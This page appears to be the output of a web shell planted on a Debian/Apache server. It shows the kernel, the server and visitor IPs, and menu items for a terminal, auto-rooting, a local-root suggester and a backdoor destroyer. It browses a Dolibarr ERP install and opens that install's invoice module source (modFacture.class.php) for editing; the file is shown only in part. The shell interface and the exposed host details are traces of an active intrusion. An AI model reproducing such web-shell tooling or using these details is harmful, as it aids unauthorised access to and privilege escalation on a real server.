Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
webedi.bdcloud.fr /
core /
modules /
Delete
Unzip
Name
Size
Permission
Date
Action
action
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bank
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
barcode
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
bom
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
cheque
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
commande
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
contract
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
dons
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expedition
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
expensereport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
export
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
facture
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
fichinter
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
holiday
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
import
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
livraison
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mailings
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
member
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
mrp
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
oauth
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printing
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
printsheet
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
product_batch
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
project
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
propale
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
rapport
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
reception
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
security
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
societe
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
stock
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_invoice
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_order
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_payment
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
supplier_proposal
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
syslog
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
takepos
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
ticket
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
user
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
usergroup
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
website
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
DolibarrModules.class.php
82.12
KB
-rw-r--r--
2020-05-28 20:13
index.html
0
B
-rw-r--r--
2020-04-18 15:05
modAccounting.class.php
13.37
KB
-rw-r--r--
2020-05-12 15:31
modAdherent.class.php
19.92
KB
-rw-r--r--
2020-05-12 15:31
modAgenda.class.php
18.42
KB
-rw-r--r--
2020-05-28 20:13
modApi.class.php
13.63
KB
-rw-r--r--
2020-05-12 15:31
modAsset.class.php
11.78
KB
-rw-r--r--
2020-06-29 09:53
modBanque.class.php
10.26
KB
-rw-r--r--
2020-05-12 15:31
modBarcode.class.php
8.09
KB
-rw-r--r--
2020-05-12 15:31
modBlockedLog.class.php
9.93
KB
-rw-r--r--
2020-05-28 20:13
modBom.class.php
22.32
KB
-rw-r--r--
2020-05-12 15:31
modBookmark.class.php
3.51
KB
-rw-r--r--
2020-05-12 15:31
modCashDesk.class.php
5.65
KB
-rw-r--r--
2020-05-12 15:31
modCategorie.class.php
25.97
KB
-rw-r--r--
2020-05-12 15:31
modClickToDial.class.php
2.32
KB
-rw-r--r--
2020-05-12 15:31
modCollab.class.php
5.01
KB
-rw-r--r--
2020-05-12 15:31
modCommande.class.php
14.33
KB
-rw-r--r--
2020-05-12 15:31
modComptabilite.class.php
3.76
KB
-rw-r--r--
2020-05-12 15:31
modContrat.class.php
10.61
KB
-rw-r--r--
2020-06-11 23:37
modCron.class.php
5.96
KB
-rw-r--r--
2020-04-18 15:05
modDataPolicy.class.php
17.1
KB
-rw-r--r--
2020-05-12 15:31
modDav.class.php
17.24
KB
-rw-r--r--
2020-05-12 15:31
modDebugBar.class.php
3.69
KB
-rw-r--r--
2020-06-29 14:27
modDeplacement.class.php
6.34
KB
-rw-r--r--
2020-05-12 15:31
modDocumentGeneration.class.php
3.45
KB
-rw-r--r--
2020-05-12 15:31
modDon.class.php
5.27
KB
-rw-r--r--
2020-05-12 15:31
modDynamicPrices.class.php
2.93
KB
-rw-r--r--
2020-05-12 15:31
modECM.class.php
6.36
KB
-rw-r--r--
2020-06-28 22:05
modEmailCollector.class.php
24.4
KB
-rw-r--r--
2020-05-12 15:31
modExpedition.class.php
15.9
KB
-rw-r--r--
2020-05-12 15:31
modExpenseReport.class.php
11.07
KB
-rw-r--r--
2020-05-28 21:20
modExport.class.php
2.93
KB
-rw-r--r--
2020-05-12 15:31
modExternalRss.class.php
4.25
KB
-rw-r--r--
2020-05-12 15:31
modExternalSite.class.php
4.43
KB
-rw-r--r--
2020-05-12 15:31
modFTP.class.php
4.45
KB
-rw-r--r--
2020-05-12 15:31
modFacture.class.php
23.4
KB
-rw-r--r--
2020-05-21 17:03
modFckeditor.class.php
3.62
KB
-rw-r--r--
2020-05-12 15:31
modFicheinter.class.php
10.73
KB
-rw-r--r--
2020-05-12 15:31
modFournisseur.class.php
34.82
KB
-rw-r--r--
2020-06-17 14:45
modGeoIPMaxmind.class.php
3.41
KB
-rw-r--r--
2020-05-12 15:31
modGravatar.class.php
10.65
KB
-rw-r--r--
2020-05-12 15:31
modHRM.class.php
4.4
KB
-rw-r--r--
2020-05-12 15:31
modHoliday.class.php
16.62
KB
-rw-r--r--
2020-05-12 15:31
modImport.class.php
3.33
KB
-rw-r--r--
2020-05-12 15:31
modIncoterm.class.php
4.31
KB
-rw-r--r--
2020-05-12 15:31
modLabel.class.php
3.85
KB
-rw-r--r--
2020-05-12 15:31
modLdap.class.php
3.99
KB
-rw-r--r--
2020-05-12 15:31
modLoan.class.php
4.72
KB
-rw-r--r--
2020-05-12 15:31
modMailing.class.php
5.47
KB
-rw-r--r--
2020-05-12 15:31
modMailmanSpip.class.php
3.68
KB
-rw-r--r--
2020-05-12 15:31
modMargin.class.php
6.54
KB
-rw-r--r--
2020-05-12 15:31
modModuleBuilder.class.php
4.4
KB
-rw-r--r--
2020-05-12 15:31
modMrp.class.php
21.56
KB
-rw-r--r--
2020-05-12 15:31
modMultiCurrency.class.php
17.96
KB
-rw-r--r--
2020-04-18 15:05
modNotification.class.php
3.59
KB
-rw-r--r--
2020-05-12 15:31
modOauth.class.php
6.15
KB
-rw-r--r--
2020-05-12 15:31
modOpenSurvey.class.php
8.02
KB
-rw-r--r--
2020-05-12 15:31
modPaybox.class.php
10.81
KB
-rw-r--r--
2020-05-12 15:31
modPaymentByBankTransfer.class.php
4.87
KB
-rw-r--r--
2020-08-07 16:26
modPaypal.class.php
11.41
KB
-rw-r--r--
2020-05-12 15:31
modPrelevement.class.php
5.21
KB
-rw-r--r--
2020-08-03 10:55
modPrinting.class.php
5.41
KB
-rw-r--r--
2020-05-12 15:31
modProduct.class.php
46.62
KB
-rw-r--r--
2020-05-12 15:31
modProductBatch.class.php
4.54
KB
-rw-r--r--
2020-05-12 15:31
modProjet.class.php
19.37
KB
-rw-r--r--
2020-05-12 15:31
modPropale.class.php
15.04
KB
-rw-r--r--
2020-05-12 15:31
modReceiptPrinter.class.php
7.32
KB
-rw-r--r--
2020-05-12 15:31
modReception.class.php
13.4
KB
-rw-r--r--
2020-05-12 15:31
modResource.class.php
13.16
KB
-rw-r--r--
2020-05-12 15:31
modSalaries.class.php
6.68
KB
-rw-r--r--
2020-05-12 15:31
modService.class.php
45.04
KB
-rw-r--r--
2020-05-12 15:31
modSocialNetworks.class.php
3.48
KB
-rw-r--r--
2020-05-12 15:31
modSociete.class.php
37.1
KB
-rw-r--r--
2020-09-16 12:16
modStock.class.php
21.07
KB
-rw-r--r--
2020-05-12 15:31
modStripe.class.php
7.08
KB
-rw-r--r--
2020-05-12 15:31
modSupplierProposal.class.php
7.42
KB
-rw-r--r--
2020-05-12 15:31
modSyslog.class.php
4.25
KB
-rw-r--r--
2020-06-29 14:27
modTakePos.class.php
16.55
KB
-rw-r--r--
2020-05-12 15:31
modTax.class.php
8.28
KB
-rw-r--r--
2020-05-12 15:31
modTicket.class.php
14.44
KB
-rw-r--r--
2020-05-12 15:31
modUser.class.php
14.62
KB
-rw-r--r--
2020-05-12 15:31
modVariants.class.php
4.72
KB
-rw-r--r--
2020-05-12 15:31
modWebServices.class.php
3.16
KB
-rw-r--r--
2020-05-12 15:31
modWebServicesClient.class.php
3.21
KB
-rw-r--r--
2020-05-12 15:31
modWebsite.class.php
7.93
KB
-rw-r--r--
2020-05-12 15:31
modWorkflow.class.php
7.75
KB
-rw-r--r--
2020-05-12 15:31
modZapier.class.php
21.12
KB
-rw-r--r--
2020-05-12 15:31
Save
Rename
<?php /* Copyright (C) 2003-2004 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2004-2018 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2004 Sebastien Di Cintio <sdicintio@ressource-toi.org> * Copyright (C) 2004 Benoit Mortier <benoit.mortier@opensides.be> * Copyright (C) 2005-2012 Regis Houssin <regis.houssin@inodbox.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \defgroup facture Module invoices * \brief Module pour gerer les factures clients et/ou fournisseurs * \file htdocs/core/modules/modFacture.class.php * \ingroup facture * \brief Fichier de la classe de description et activation du module Facture */ include_once DOL_DOCUMENT_ROOT.'/core/modules/DolibarrModules.class.php'; /** * Class to describe module customer invoices */ class modFacture extends DolibarrModules { /** * Constructor. Define names, constants, directories, boxes, permissions * * @param DoliDB $db Database handler */ public function __construct($db) { global $conf, $user; $this->db = $db; $this->numero = 30; $this->family = "financial"; $this->module_position = '11'; // Module label (no space allowed), used if translation string 'ModuleXXXName' not found (where XXX is value of numeric property 'numero' of module) $this->name = preg_replace('/^mod/i', '', get_class($this)); $this->description = "Gestion des factures"; // Possible values for version are: 'development', 'experimental', 'dolibarr' or version $this->version = 'dolibarr'; $this->const_name = 'MAIN_MODULE_'.strtoupper($this->name); $this->picto = 'bill'; // Data directories to create when module is enabled $this->dirs = array("/facture/temp"); // Dependencies $this->depends = array('always'=>"modSociete"); $this->requiredby = array("modComptabilite", "modAccounting"); $this->conflictwith = array(); $this->langfiles = array("bills", "companies", "compta", "products"); $this->warnings_activation = array(); // Warning to show when we activate module. array('always'='text') or array('FR'='text') $this->warnings_activation_ext = array(); // Warning to show when we activate an external module. array('always'='text') or array('FR'='text') // Config pages $this->config_page_url = array("facture.php"); // Constants $this->const = array(); $r = 0; $this->const[$r][0] = "FACTURE_ADDON"; $this->const[$r][1] = "chaine"; $this->const[$r][2] = "mod_facture_terre"; $this->const[$r][3] = 'Name of numbering numerotation rules of invoice'; $this->const[$r][4] = 0; $r++; $this->const[$r][0] = "FACTURE_ADDON_PDF"; $this->const[$r][1] = "chaine"; $this->const[$r][2] = "crabe"; $this->const[$r][3] = 'Name of PDF model of invoice'; $this->const[$r][4] = 0; $r++; $this->const[$r][0] = "FACTURE_ADDON_PDF_ODT_PATH"; $this->const[$r][1] = "chaine"; $this->const[$r][2] = "DOL_DATA_ROOT/doctemplates/invoices"; $this->const[$r][3] = ""; $this->const[$r][4] = 0; $r++; /*$this->const[$r][0] = "FACTURE_DRAFT_WATERMARK"; $this->const[$r][1] = "chaine"; $this->const[$r][2] = "__(Draft)__"; $this->const[$r][3] = 'Watermark to show on draft invoices'; $this->const[$r][4] = 0; $r++;*/ // Boxes //$this->boxes = array(0=>array(1=>'box_factures_imp.php'),1=>array(1=>'box_factures.php')); $this->boxes = array( 0=>array('file'=>'box_factures_imp.php', 'enabledbydefaulton'=>'Home'), 1=>array('file'=>'box_factures.php', 'enabledbydefaulton'=>'Home'), 2=>array('file'=>'box_graph_invoices_permonth.php', 'enabledbydefaulton'=>'Home') ); // Cronjobs $arraydate = dol_getdate(dol_now()); $datestart = dol_mktime(23, 0, 0, $arraydate['mon'], $arraydate['mday'], $arraydate['year']); $this->cronjobs = array( 0=>array('label'=>'RecurringInvoices', 'jobtype'=>'method', 'class'=>'compta/facture/class/facture-rec.class.php', 'objectname'=>'FactureRec', 'method'=>'createRecurringInvoices', 'parameters'=>'', 'comment'=>'Generate recurring invoices', 'frequency'=>1, 'unitfrequency'=>3600 * 24, 'priority'=>50, 'status'=>1, 'test'=>'$conf->facture->enabled', 'datestart'=>$datestart), ); // Permissions $this->rights = array(); $this->rights_class = 'facture'; $r = 0; $r++; $this->rights[$r][0] = 11; $this->rights[$r][1] = 'Read invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'lire'; $r++; $this->rights[$r][0] = 12; $this->rights[$r][1] = 'Create and update invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'creer'; // There is a particular permission for unvalidate because this may be not forbidden by some laws $r++; $this->rights[$r][0] = 13; $this->rights[$r][1] = 'Devalidate invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'invoice_advance'; $this->rights[$r][5] = 'unvalidate'; $r++; $this->rights[$r][0] = 14; $this->rights[$r][1] = 'Validate invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'invoice_advance'; $this->rights[$r][5] = 'validate'; $r++; $this->rights[$r][0] = 15; $this->rights[$r][1] = 'Send invoices by email'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'invoice_advance'; $this->rights[$r][5] = 'send'; $r++; $this->rights[$r][0] = 16; $this->rights[$r][1] = 'Issue payments on invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'paiement'; $r++; $this->rights[$r][0] = 19; $this->rights[$r][1] = 'Delete invoices'; $this->rights[$r][2] = 'a'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'supprimer'; $r++; $this->rights[$r][0] = 1321; $this->rights[$r][1] = 'Export customer invoices, attributes and payments'; $this->rights[$r][2] = 'r'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'facture'; $this->rights[$r][5] = 'export'; $r++; $this->rights[$r][0] = 1322; $this->rights[$r][1] = 'Re-open a fully paid invoice'; $this->rights[$r][2] = 'r'; $this->rights[$r][3] = 0; $this->rights[$r][4] = 'invoice_advance'; $this->rights[$r][5] = 'reopen'; // Menus //------- $this->menu = 1; // This module add menu entries. They are coded into menu manager. // Exports //-------- $r = 1; $this->export_code[$r] = $this->rights_class.'_'.$r; $this->export_label[$r] = 'CustomersInvoicesAndInvoiceLines'; // Translation key (used only if key ExportDataset_xxx_z not found) $this->export_icon[$r] = 'invoice'; $this->export_permission[$r] = array(array("facture", "facture", "export", "other")); $this->export_fields_array[$r] = array( 's.rowid'=>"IdCompany", 's.nom'=>'CompanyName', 's.code_client'=>'CustomerCode', 's.address'=>'Address', 's.zip'=>'Zip', 's.town'=>'Town', 'c.code'=>'CountryCode', 'cd.nom'=>'State', 's.phone'=>'Phone', 's.siren'=>'ProfId1', 's.siret'=>'ProfId2', 's.ape'=>'ProfId3', 's.idprof4'=>'ProfId4', 's.code_compta'=>'CustomerAccountancyCode', 's.code_compta_fournisseur'=>'SupplierAccountancyCode', 's.tva_intra'=>'VATIntra', 'f.rowid'=>"InvoiceId", 'f.ref'=>"InvoiceRef", 'f.ref_client'=>'RefCustomer', 'f.type'=>"Type", 'f.datec'=>"InvoiceDateCreation", 'f.datef'=>"DateInvoice", 'f.date_lim_reglement'=>"DateDue", 'f.total'=>"TotalHT", 'f.total_ttc'=>"TotalTTC", 'f.tva'=>"TotalVAT", 'f.localtax1'=>'LT1', 'f.localtax2'=>'LT2', 'f.paye'=>"InvoicePaidCompletely", 'f.fk_statut'=>'InvoiceStatus', 'f.close_code'=>'EarlyClosingReason', 'f.close_note'=>'EarlyClosingComment', 'none.rest'=>'Rest', 'f.note_private'=>"NotePrivate", 'f.note_public'=>"NotePublic", 'f.fk_user_author'=>'CreatedById', 'uc.login'=>'CreatedByLogin', 'f.fk_user_valid'=>'ValidatedById', 'uv.login'=>'ValidatedByLogin', 'pj.ref'=>'ProjectRef', 'pj.title'=>'ProjectLabel', 'fd.rowid'=>'LineId', 'fd.description'=>"LineDescription", 'fd.subprice'=>"LineUnitPrice", 'fd.tva_tx'=>"LineVATRate", 'fd.qty'=>"LineQty", 'fd.total_ht'=>"LineTotalHT", 'fd.total_tva'=>"LineTotalVAT", 'fd.total_ttc'=>"LineTotalTTC", 'fd.date_start'=>"DateStart", 'fd.date_end'=>"DateEnd", 'fd.special_code'=>'SpecialCode', 'fd.product_type'=>"TypeOfLineServiceOrProduct", 'fd.fk_product'=>'ProductId', 'p.ref'=>'ProductRef', 'p.label'=>'ProductLabel', 'p.accountancy_code_sell'=>'ProductAccountancySellCode' ); if (!empty($conf->multicurrency->enabled)) { $this->export_fields_array[$r]['f.multicurrency_code'] = 'Currency'; $this->export_fields_array[$r]['f.multicurrency_tx'] = 'CurrencyRate'; $this->export_fields_array[$r]['f.multicurrency_total_ht'] = 'MulticurrencyAmountHT'; $this->export_fields_array[$r]['f.multicurrency_total_tva'] = 'MulticurrencyAmountVAT'; $this->export_fields_array[$r]['f.multicurrency_total_ttc'] = 'MulticurrencyAmountTTC'; } if (!empty($conf->cashdesk->enabled) || !empty($conf->takepos->enabled) || !empty($conf->global->INVOICE_SHOW_POS)) { $this->export_fields_array[$r]['f.module_source'] = 'Module'; $this->export_fields_array[$r]['f.pos_source'] = 'POSTerminal'; } $this->export_TypeFields_array[$r] = array( 's.rowid'=>'Numeric', 's.nom'=>'Text', 's.code_client'=>'Text', 's.address'=>'Text', 's.zip'=>'Text', 's.town'=>'Text', 'c.code'=>'Text', 'cd.nom'=>'Text', 's.phone'=>'Text', 's.siren'=>'Text', 's.siret'=>'Text', 's.ape'=>'Text', 's.idprof4'=>'Text', 's.code_compta'=>'Text', 's.code_compta_fournisseur'=>'Text', 's.tva_intra'=>'Text', 'f.rowid'=>'Numeric', 'f.ref'=>"Text", 'f.ref_client'=>'Text', 'f.type'=>"Numeric", 'f.datec'=>"Date", 'f.datef'=>"Date", 'f.date_lim_reglement'=>"Date", 'f.total'=>"Numeric", 'f.total_ttc'=>"Numeric", 'f.tva'=>"Numeric", 'f.localtax1'=>'Numeric', 'f.localtax2'=>'Numeric', 'f.paye'=>"Boolean", 'f.fk_statut'=>'Numeric', 'f.close_code'=>'Text', 'f.close_note'=>'Text', 'none.rest'=>"NumericCompute", 'f.note_private'=>"Text", 'f.note_public'=>"Text", 'f.fk_user_author'=>'Numeric', 'uc.login'=>'Text', 'f.fk_user_valid'=>'Numeric', 'uv.login'=>'Text', 'pj.ref'=>'Text', 'pj.title'=>'Text', 'fd.rowid'=>'Numeric', 'fd.label'=>'Text', 'fd.description'=>"Text", 'fd.subprice'=>"Numeric", 'fd.tva_tx'=>"Numeric", 'fd.qty'=>"Numeric", 'fd.total_ht'=>"Numeric", 'fd.total_tva'=>"Numeric", 'fd.total_ttc'=>"Numeric", 'fd.date_start'=>"Date", 'fd.date_end'=>"Date", 'fd.special_code'=>'Numeric', 'fd.product_type'=>"Numeric", 'fd.fk_product'=>'List:product:label', 'p.ref'=>'Text', 'p.label'=>'Text', 'p.accountancy_code_sell'=>'Text' ); if (!empty($conf->cashdesk->enabled) || !empty($conf->takepos->enabled) || !empty($conf->global->INVOICE_SHOW_POS)) { $this->export_TypeFields_array[$r]['f.module_source'] = 'Text'; $this->export_TypeFields_array[$r]['f.pos_source'] = 'Text'; } $this->export_entities_array[$r] = array( 's.rowid'=>"company", 's.nom'=>'company', 's.code_client'=>'company', 's.address'=>'company', 's.zip'=>'company', 's.town'=>'company', 'c.code'=>'company', 'cd.nom'=>'company', 's.phone'=>'company', 's.siren'=>'company', 's.siret'=>'company', 's.ape'=>'company', 's.idprof4'=>'company', 's.code_compta'=>'company', 's.code_compta_fournisseur'=>'company', 's.tva_intra'=>'company', 'pj.ref'=>'project', 'pj.title'=>'project', 'fd.rowid'=>'invoice_line', 'fd.label'=>"invoice_line", 'fd.description'=>"invoice_line", 'fd.subprice'=>"invoice_line", 'fd.total_ht'=>"invoice_line", 'fd.total_tva'=>"invoice_line", 'fd.total_ttc'=>"invoice_line", 'fd.tva_tx'=>"invoice_line", 'fd.qty'=>"invoice_line", 'fd.date_start'=>"invoice_line", 'fd.date_end'=>"invoice_line", 'fd.special_code'=>'invoice_line', 'fd.product_type'=>'invoice_line', 'fd.fk_product'=>'product', 'p.ref'=>'product', 'p.label'=>'product', 'p.accountancy_code_sell'=>'product', 'f.fk_user_author'=>'user', 'uc.login'=>'user', 'f.fk_user_valid'=>'user', 'uv.login'=>'user' ); $this->export_special_array[$r] = array('none.rest'=>'getRemainToPay'); $this->export_dependencies_array[$r] = array('invoice_line'=>'fd.rowid', 'product'=>'fd.rowid', 'none.rest'=>array('f.rowid', 'f.total_ttc', 'f.close_code')); // To add unique key if we ask a field of a child to avoid the DISTINCT to discard them $keyforselect = 'facture'; $keyforelement = 'invoice'; $keyforaliasextra = 'extra'; include DOL_DOCUMENT_ROOT.'/core/extrafieldsinexport.inc.php'; $keyforselect = 'facturedet'; $keyforelement = 'invoice_line'; $keyforaliasextra = 'extra2'; include DOL_DOCUMENT_ROOT.'/core/extrafieldsinexport.inc.php'; $keyforselect = 'product'; $keyforelement = 'product'; $keyforaliasextra = 'extra3'; include DOL_DOCUMENT_ROOT.'/core/extrafieldsinexport.inc.php'; $this->export_sql_start[$r] = 'SELECT DISTINCT '; $this->export_sql_end[$r] = ' FROM '.MAIN_DB_PREFIX.'societe as s'; if (empty($user->rights->societe->client->voir)) $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'societe_commerciaux as sc ON sc.fk_soc = s.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_country as c on s.fk_pays = c.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_departements as cd on s.fk_departement = cd.rowid,'; $this->export_sql_end[$r] .= ' '.MAIN_DB_PREFIX.'facture as f'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'projet as pj ON f.fk_projet = pj.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'user as uc ON f.fk_user_author = uc.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'user as uv ON f.fk_user_valid = uv.rowid'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'facture_extrafields as extra ON f.rowid = extra.fk_object'; $this->export_sql_end[$r] .= ' , '.MAIN_DB_PREFIX.'facturedet as fd'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'facturedet_extrafields as extra2 on fd.rowid = extra2.fk_object'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product as p on (fd.fk_product = p.rowid)'; $this->export_sql_end[$r] .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_extrafields as extra3 on p.rowid = extra3.fk_object'; $this->export_sql_end[$r] .= ' WHERE f.fk_soc = s.rowid AND f.rowid = fd.fk_facture'; $this->export_sql_end[$r] .= ' AND f.entity IN ('.getEntity('invoice').')'; if (isset($user) && empty($user->rights->societe->client->voir)) $this->export_sql_end[$r] .= ' AND sc.fk_user = '.$user->id; $r++; $this->export_code[$r] = $this->rights_class.'_'.$r; $this->export_label[$r] = 'CustomersInvoicesAndPayments'; // Translation key (used only if key ExportDataset_xxx_z not found) $this->export_icon[$r] = 'invoice'; $this->export_permission[$r] = array(array("facture", "facture", "export")); $this->export_fields_array[$r] = array( 's.rowid'=>"IdCompany", 's.nom'=>'CompanyName', 's.code_client'=>'CustomerCode', 's.address'=>'Address', 's.zip'=>'Zip', 's.town'=>'Town', 'c.code'=>'CountryCode', 'cd.nom'=>'State', 's.phone'=>'Phone', 's.siren'=>'ProfId1', 's.siret'=>'ProfId2', 's.ape'=>'ProfId3', 's.idprof4'=>'ProfId4', 's.code_compta'=>'CustomerAccountancyCode', 's.code_compta_fournisseur'=>'SupplierAccountancyCode', 's.tva_intra'=>'VATIntra', 'f.rowid'=>"InvoiceId", 'f.ref'=>"InvoiceRef", 'f.ref_client'=>'RefCustomer', 'f.type'=>"Type", 'f.datec'=>"InvoiceDateCreation", 'f.datef'=>"DateInvoice", 'f.date_lim_reglement'=>"DateDue", 'f.total'=>"TotalHT", 'f.total_ttc'=>"TotalTTC", 'f.tva'=>"TotalVAT", 'f.localtax1'=>'LT1', 'f.localtax2'=>'LT2', 'f.paye'=>"InvoicePaidCompletely", 'f.fk_statut'=>'InvoiceStatus', 'f.close_code'=>'EarlyClosingReason', 'f.close_note'=>'EarlyClosingComment', 'none.rest'=>'Rest', 'f.note_private'=>"NotePrivate", 'f.note_public'=>"NotePublic", 'f.fk_user_author'=>'CreatedById', 'uc.login'=>'CreatedByLogin', 'f.fk_user_valid'=>'ValidatedById', 'uv.login'=>'ValidatedByLogin', 'pj.ref'=>'ProjectRef', 'pj.title'=>'ProjectLabel', 'p.rowid'=>'PaymentId', 'p.ref'=>'PaymentRef', 'p.amount'=>'AmountPayment', 'pf.amount'=>'AmountPaymentDistributedOnInvoice', 'p.datep'=>'DatePayment', 'p.num_paiement'=>'PaymentNumber', 'pt.code'=>'CodePaymentMode', 'pt.libelle'=>'LabelPaymentMode', 'p.note'=>'PaymentNote', 'p.fk_bank'=>'IdTransaction', 'ba.ref'=>'AccountRef' ); $this->export_help_array[$r] = array('f.paye'=>'InvoicePaidCompletelyHelp'); if (!empty($conf->multicurrency->enabled)) { $this->export_fields_array[$r]['f.multicurrency_code'] = 'Currency'; $this->export_fields_array[$r]['f.multicurrency_tx'] = 'CurrencyRate'; $this->export_fields_array[$r]['f.multicurrency_total_ht'] = 'MulticurrencyAmountHT'; $this->export_fields_array[$r]['f.multicurrency_total_tva'] = 'MulticurrencyAmountVAT'; $this->export_fields_array[$r]['f.multicurrency_total_ttc'] = 'MulticurrencyAmountTTC'; $this->export_examplevalues_array[$r]['f.multicurrency_code'] = 'EUR'; } if (!empty($conf->cashdesk->enabled) || !empty($conf->takepos->enabled) || !empty($conf->global->INVOICE_SHOW_POS)) { $this->export_fields_array[$r]['f.module_source'] = 'POSModule'; $this->export_fields_array[$r]['f.pos_source'] = 'POSTerminal'; } $this->export_TypeFields_array[$r] = array( 's.rowid'=>'Numeric', 's.nom'=>'Text', 's.code_client'=>'Text', 's.address'=>'Text', 's.zip'=>'Text', 's.town'=>'Text', 'c.code'=>'Text', 'cd.nom'=>'Text', 's.phone'=>'Text', 's.siren'=>'Text', 's.siret'=>'Text', 's.ape'=>'Text', 's.idprof4'=>'Text', 's.code_compta'=>'Text', 's.code_compta_fournisseur'=>'Text', 's.tva_intra'=>'Text', 'f.rowid'=>"Numeric", 'f.ref'=>"Text", 'f.ref_client'=>'Text', 'f.type'=>"Numeric", 'f.datec'=>"Date", 'f.datef'=>"Date", 'f.date_lim_reglement'=>"Date", 'f.total'=>"Numeric", 'f.total_ttc'=>"Numeric", 'f.tva'=>"Numeric", 'f.localtax1'=>'Numeric', 'f.localtax2'=>'Numeric', 'f.paye'=>"Boolean", 'f.fk_statut'=>'Status', 'f.close_code'=>'Text', 'f.close_note'=>'Text', 'none.rest'=>'NumericCompute', 'f.note_private'=>"Text", 'f.note_public'=>"Text", 'f.fk_user_author'=>'Numeric', 'uc.login'=>'Text', 'f.fk_user_valid'=>'Numeric', 'uv.login'=>'Text', 'pj.ref'=>'Text', 'pj.title'=>'Text', 'p.amount'=>'Numeric', 'pf.amount'=>'Numeric', 'p.rowid'=>'Numeric', 'p.ref'=>'Text', 'p.title'=>'Text', 'p.datep'=>'Date', 'p.num_paiement'=>'Numeric', 'p.fk_bank'=>'Numeric', 'p.note'=>'Text', 'pt.code'=>'Text', 'pt.libelle'=>'text', 'ba.ref'=>'Text' ); if (!empty($conf->cashdesk->enabled) || !empty($conf->takepos->enabled) || !empty($conf->global->INVOICE_SHOW_POS)) { $this->export_fields_array[$r]['f.module_source'] = 'POSModule'; $this->export_fields_array[$r]['f.pos_source'] = 'POSTerminal'; } $this->export_entities_array[$r] = array( 's.rowid'=>"company", 's.nom'=>'company', 's.code_client'=>'company', 's.address'=>'company', 's.zip'=>'company', 's.town'=>'company', 'c.code'=>'company', 'cd.nom'=>'company', 's.phone'=>'company', 's.siren'=>'company', 